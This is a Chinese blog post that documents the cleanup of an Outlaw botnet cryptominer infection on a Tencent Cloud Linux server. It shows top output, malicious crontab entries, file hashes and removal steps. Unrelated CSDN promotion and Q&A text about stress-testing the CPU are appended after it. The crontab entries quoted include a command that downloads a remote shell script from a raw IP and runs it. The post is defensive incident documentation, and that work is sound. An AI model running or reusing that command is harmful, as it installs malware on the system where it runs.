Linux【问题记录 02】腾讯云 cron、sshd 进程CPU占用超95%(亡命徒 Outlaw 僵尸网络攻击)问题排查及处理步骤_crond占用cpu过高

top - 13:55:18 up 21 days, 4:43, 1 user, load average: 4.52, 4.25, 3.76
Tasks: 285 total, 1 running, 284 sleeping, 0 stopped, 0 zombie
%Cpu(s): 96.7 us, 2.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.7 si, 0.0 st
KiB Mem : 1882020 total, 110312 free, 1209604 used, 562104 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 218676 avail Mem

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3460 elastic+ 20 0 307928 269380 4 S 70.8 14.3 611:32.96 cron
6011 elastic+ 20 0 50476 15104 4 S 24.9 0.8 4:55.06 sshd


查看了一下定时任务:



[root@tcloud ~]# crontab -l
no crontab for root


查看了一下 /var/spool/cron/ 文件夹的定时任务:



[root@tcloud ~]# cd /var/spool/cron/
[root@tcloud cron]# ll
total 12
-rw------- 1 elasticsearch elasticsearch 328 Sep 13 23:19 elasticsearch
-rw------- 1 gpadmin gpadmin 73 Sep 2 01:55 gpadmin
-rw------- 1 hadoop hadoop 283 Aug 20 11:57 hadoop

[root@tcloud cron]# cat ./elasticsearch
1 1 */2 * * /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
#0 */23 * * * /tmp/.X26-unix/.rsync/c/aptitude>/dev/null 2>&1

这个明显就是kdevtmpfsi挖矿病毒的定时任务

[root@tcloud cron]# cat ./gpadmin

          • wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1

[root@tcloud cron]# cat ./hadoop
1 1 */2 * * /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
5 8 * * 1 /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1


查看了一下阿里云的服务器:



[root@aliyun ~]# cd /var/spool/cron/
[root@aliyun cron]# ll
total 0


### 2.病毒处理建议


建议企业 Linux 服务器管理员检查服务器资源占用情况,及时修改弱密码,避免被暴力破解。若发现服务器已被入侵安装挖矿木马,可参考以下步骤手动检查、清除:


1. 删除以下文件,杀死对应进程:  
 /tmp/\*-unix/.rsync/a/kswapd0  
 \*/.configrc/a/kswapd0 md5: 84945e9ea1950be3e870b798bd7c7559  
 /tmp/\*-unix/.rsync/c/tsm64 md5: 4adb78770e06f8b257f77f555bf28065  
 /tmp/\*-unix/.rsync/c/tsm32 md5: 10ea65f54f719bffcc0ae2cde450cb7a
2. 检查 cron.d 中是否存在包含以下内容的定时任务,如有进行删除:  
 /a/upd  
 /b/sync  
 /c/aptitude




### 最后的话

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

### 资料预览

给大家整理的视频资料:

![](https://img-blog.csdnimg.cn/img_convert/271f4030262dd7f336f0a8ef36345981.png)

给大家整理的电子书资料:

  

![](https://img-blog.csdnimg.cn/img_convert/c70a1aa6756eb37a92ace9fa313c66cf.png)



**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
  • 18
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 在Linux系统中,可以使用一些命令和脚本来指定CPU利用率为50%。一种方法是使用stress命令。stress是一个可以用来测试系统稳定性的工具,也可以用来模拟CPU负载。 首先,确保您的系统已经安装了stress工具。在终端中输入以下命令以安装stress: sudo apt-get install stress 安装完成后,可以使用以下命令来指定CPU利用率为50%: stress --cpu 1 --timeout 60 上述命令中,--cpu 1表示只使用1个CPU核心,--timeout 60表示持续运行60秒。这将导致系统的1个CPU核心的利用率保持在50%左右。 如果您希望系统的所有CPU核心都以50%的利用率运行,可以修改上述命令为: stress --cpu $(nproc) --timeout 60 上述命令中,$(nproc)将返回系统的CPU核心数量,并将其作为参数传递给--cpu选项,从而使用全部CPU核心。 运行以上命令后,系统的CPU利用率将接近50%。可以使用top命令或htop命令来查看系统CPU利用率是否已达到目标。当执行完设定的时间(60秒)后,stress命令会自动退出,CPU利用率将会恢复到正常水平。 需要注意的是,这只是一个简单的示例。更复杂的任务可以使用更多选项和参数来实现不同的CPU利用率目标。请确保根据具体需求进行适当的调整。 ### 回答2: 要实现Linux系统指定CPU利用率达到50%的脚本,可以使用stress工具结合任务调度工具来完成。 首先,安装stress工具。在终端中输入以下命令: ``` sudo apt-get install stress ``` 然后,创建一个脚本文件如"cpu.sh",并在终端中输入以下命令: ``` nano cpu.sh ``` 然后在cpu.sh文件中输入以下内容: ```bash #!/bin/bash stress --cpu 1 --timeout 30 ``` 这个脚本会使用stress工具模拟一个CPU负载,并持续运行30秒。 保存并退出cpu.sh文件(按Ctrl + X,然后按Y,最后按Enter)。 接下来,使用任务调度工具来调度这个脚本,以使得脚本定期执行并达到50%的CPU利用率。 在终端中输入以下命令来编辑cron表: ``` crontab -e ``` 然后,在打开的文本编辑器中将以下内容添加到文件的底部: ```bash * * * * * /path/to/cpu.sh ``` 请将"/path/to/cpu.sh"替换为实际的脚本文件路径。 保存并退出文本编辑器。 现在,每分钟脚本文件就会执行一次,模拟CPU负载,并持续运行30秒。根据系统和硬件的不同,这个脚本将尽量使得CPU利用率达到50%的水平。 ### 回答3: 在Linux上指定CPU利用率为50%的脚本可以使用stress命令来实现。stress命令是一个压力测试工具,它可以模拟CPU、内存、磁盘和网络等多种资源的负载。 以下是一个用于指定CPU利用率为50%的简单脚本: ```shell #!/bin/bash # 设置要测试的CPU核心数量 CORES=$(grep -c "^processor" /proc/cpuinfo) # 设置要实现的目标CPU利用率 TARGET_UTILIZATION=50 # 计算每个核心需要的线程数 THREADS=$(echo "scale=0; $CORES * $TARGET_UTILIZATION / 100" | bc) # 启动stress命令,限制CPU利用率 stress --cpu $THREADS --timeout 60s ``` 解释: - `CORES`变量获取当前计算机的CPU核心数量。 - `TARGET_UTILIZATION`变量指定目标CPU利用率为50%。 - `THREADS`变量根据目标利用率和核心数量计算出每个核心需要的线程数。这里使用bc命令进行小数运算。 - `stress`命令用于创建负载,`--cpu`参数指定创建CPU负载,`$THREADS`指定线程数,`--timeout`参数指定持续时间,这里设置为60秒。 可以在终端中将上述脚本保存到一个文件(例如script.sh),并使用以下命令运行它: ```shell chmod +x script.sh ./script.sh ``` 运行脚本后,每个CPU核心的利用率应该接近50%。可以根据需求修改目标利用率或持续时间。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值